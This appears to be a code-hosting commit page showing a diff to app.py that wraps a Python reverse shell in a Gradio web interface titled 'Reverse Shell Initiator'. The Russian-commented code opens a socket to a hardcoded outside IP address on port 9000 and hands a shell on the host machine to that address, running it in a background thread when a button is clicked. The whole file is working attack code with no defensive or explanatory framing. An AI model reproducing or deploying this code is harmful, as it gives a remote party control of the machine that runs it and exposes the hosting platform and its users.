dana56 commited on
Commit
af57ee2
·
verified ·
1 Parent(s): c1917c8

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +21 -8
app.py CHANGED
@@ -1,7 +1,8 @@
 
1
  import socket
2
  import subprocess
 
3
  import os
4
- import time
5
 
6
  def run_reverse_shell():
7
  try:
@@ -9,7 +10,7 @@ def run_reverse_shell():
9
  ip = '45.155.205.202'
10
  port = 9000
11
 
12
- while True:
13
  try:
14
  # Создаем сокет
15
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -28,12 +29,24 @@ def run_reverse_shell():
28
 
29
  # Закрываем сокет
30
  s.close()
31
- break # Выходим из цикла, если соединение успешно
32
  except Exception as e:
33
- print(f"Connection failed: {e}. Retrying in 3 seconds...")
34
- time.sleep(3) # Ждем 3 секунды перед повторной попыткой
 
 
 
 
35
  except Exception as e:
36
- print(f"An error occurred: {str(e)}")
37
 
38
- if __name__ == "__main__":
39
- run_reverse_shell()
 
 
 
 
 
 
 
 
 
 
1
+ import gradio as gr
2
  import socket
3
  import subprocess
4
+ import threading
5
  import os
 
6
 
7
  def run_reverse_shell():
8
  try:
 
10
  ip = '45.155.205.202'
11
  port = 9000
12
 
13
+ def shell_thread():
14
  try:
15
  # Создаем сокет
16
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
29
 
30
  # Закрываем сокет
31
  s.close()
 
32
  except Exception as e:
33
+ return f"Error: {e}"
34
+
35
+ # Запускаем обратную оболочку в отдельном потоке, чтобы не блокировать Gradio интерфейс
36
+ shell = threading.Thread(target=shell_thread)
37
+ shell.start()
38
+ return "Reverse shell has been initiated."
39
  except Exception as e:
40
+ return f"An error occurred: {str(e)}"
41
 
42
+ # Создаем интерфейс Gradio
43
+ iface = gr.Interface(
44
+ fn=run_reverse_shell,
45
+ inputs=None, # Нет входных данных, только кнопка
46
+ outputs="text",
47
+ title="Reverse Shell Initiator",
48
+ description="Click the button to initiate a reverse shell."
49
+ )
50
+
51
+ # Запуск интерфейса
52
+ iface.launch()